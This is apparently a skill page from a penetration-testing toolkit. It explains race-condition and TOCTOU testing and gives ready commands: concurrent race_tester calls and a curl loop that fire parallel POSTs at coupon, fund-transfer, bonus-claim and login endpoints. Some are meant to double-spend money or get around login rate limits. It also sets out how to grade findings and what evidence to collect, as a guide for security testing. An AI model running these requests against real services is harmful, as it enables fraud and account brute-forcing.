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attack-race-condition

Testing & Quality
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Race condition / TOCTOU testing — concurrent requests to exploit time-of-check-to-time-of-use flaws

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Source SKILL.md: https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-race-condition/SKILL.md

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Race Condition / TOCTOU Attack

Objective

Exploit time-of-check-to-time-of-use (TOCTOU) vulnerabilities by sending concurrent requests that bypass server-side validation.

Testing Methodology

Phase 1: Identify Targets

State-changing operations vulnerable to race conditions:

  • Coupon/promo code redemption
  • Fund transfers / payments
  • Vote/like systems
  • Account creation (duplicate)
  • Inventory purchase
  • Password/email change
  • File operations

Phase 2: Automated Race Testing

# Basic race test — 20 concurrent POST requests
attack_script race_tester "https://TARGET/api/redeem" \
  -m POST \
  -H "Authorization:Bearer TOKEN" \
  -d '{"coupon":"DISCOUNT50"}' \
  -c 20 \
  --json-output

# With delay (staggered)
attack_script race_tester "https://TARGET/api/transfer" \
  -m POST \
  -H "Authorization:Bearer TOKEN" \
  -d '{"to":"attacker","amount":100}' \
  -c 50 \
  --delay 5

Phase 3: Single-Packet Attack (Turbo Intruder)

For critical timing, send all requests in a single TCP packet:

# Using curl with parallel connections
for i in $(seq 1 20); do
  curl -s -X POST https://TARGET/api/redeem \
    -H "Authorization: Bearer TOKEN" \
    -d '{"coupon":"DISCOUNT50"}' &
done
wait

Phase 4: Analysis

Look for:

  • Multiple successful responses (coupon applied 2+ times)
  • Balance inconsistencies
  • Duplicate records created
  • Response length/status variations indicating multiple successes

Phase 5: Limit Bypass Race

# Race on rate-limited endpoint
attack_script race_tester "https://TARGET/api/login" \
  -m POST \
  -d '{"email":"victim@test.com","password":"guess1"}' \
  -c 30

# Race on one-time action
attack_script race_tester "https://TARGET/api/claim-bonus" \
  -m POST \
  -H "Authorization:Bearer TOKEN" \
  -c 20

What Constitutes a Finding

FindingSeverity
Financial: double-spend, duplicate transferCritical (P1)
Coupon/code reused multiple timesHigh (P2)
Rate limit bypassed via raceMedium (P3)
Duplicate record creationMedium (P3)
Vote/like manipulationLow (P4)

Evidence Requirements

  • Target endpoint and parameters
  • Number of concurrent requests
  • Multiple successful responses proving race succeeded
  • Business impact (e.g., coupon applied twice, balance doubled)
  • Status code distribution from race test

Tools

  • attack_script race_tester — async concurrent request sender

References